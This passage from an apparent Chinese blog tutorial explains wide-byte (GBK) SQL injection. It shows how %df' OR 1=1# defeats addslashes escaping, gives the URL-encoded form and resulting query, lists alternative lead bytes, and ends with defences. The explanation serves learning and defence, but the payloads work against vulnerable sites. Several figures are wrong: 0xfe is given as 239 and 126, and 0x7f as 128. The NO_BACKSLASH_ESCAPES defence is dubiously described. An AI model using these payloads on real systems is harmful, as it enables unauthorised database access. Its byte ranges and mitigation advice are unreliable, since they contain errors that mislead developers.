  4. 最终 SQL 语句的变化
    • 正常转义预期:'被转义为\',防止闭合字符串。
    • 宽字节绕过结果:%df%5c成了一个字符,%27(单引号)直接闭合字符串,导致 SQL 注入语句生效。

三、举例说明

假设原始 SQL 语句为:

SELECT * FROM users WHERE username = '用户输入';
  1. 用户输入%df' OR 1=1#,经addslashes转义后变为:
    %df\’ OR 1=1#(URL 编码:%df%5c%27%20OR%201=1%23)。
  2. GBK 编码解析后,%df%5c变为字符,语句实际执行:sqlSELECT * FROM users WHERE username = '縗' OR 1=1#';
    • #注释掉后续内容,最终语句等效于SELECT * FROM users WHERE username = '縗' OR 1=1,触发注入(恒真条件,返回所有用户数据)。

四、防御措施

  1. 统一编码为 UTF-8:UTF-8 中无宽字节字符,从根本上避免双字节解析问题。
  2. 使用参数化查询:完全避免 SQL 语句拼接,是最彻底的防御方式。
  3. 转义前进行编码转换:若必须使用 GBK,先将用户输入转换为 UTF-8 处理后再转回 GBK,避免高字节被误解析。
  4. 禁用 GBK 的宽松解析:在 MySQL 中设置sql_mode=NO_BACKSLASH_ESCAPES,但可能影响现有业务。

宽字节注入的本质是编码解析差异导致转义失效,理解这一原理有助于在多字节编码环境下针对性地防御 SQL 注入。

在 URL 中,十六进制值需用%前缀标识,因此0x81的 URL 编码形式为%81

使用其他宽字节
不仅仅只是使用%df’ 进行宽字节绕过也可以使用其他的宽字节,只有满足字符串编码的要求
常见使用的宽字节就是%df,其实当我们输入第一个ascill大于128就可以,转换是将其转换成16进制,eg:129转换0x81,然后在前面加上%就是%81
GBK首字节对应0x81-0xfe(129-239),尾字节对应0x40-0xfe(64-126)(除了0x7f【128】)
比如一些 %df’ %81’ %82’ %de’ 等等(只有满足上面的要求就可以)

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注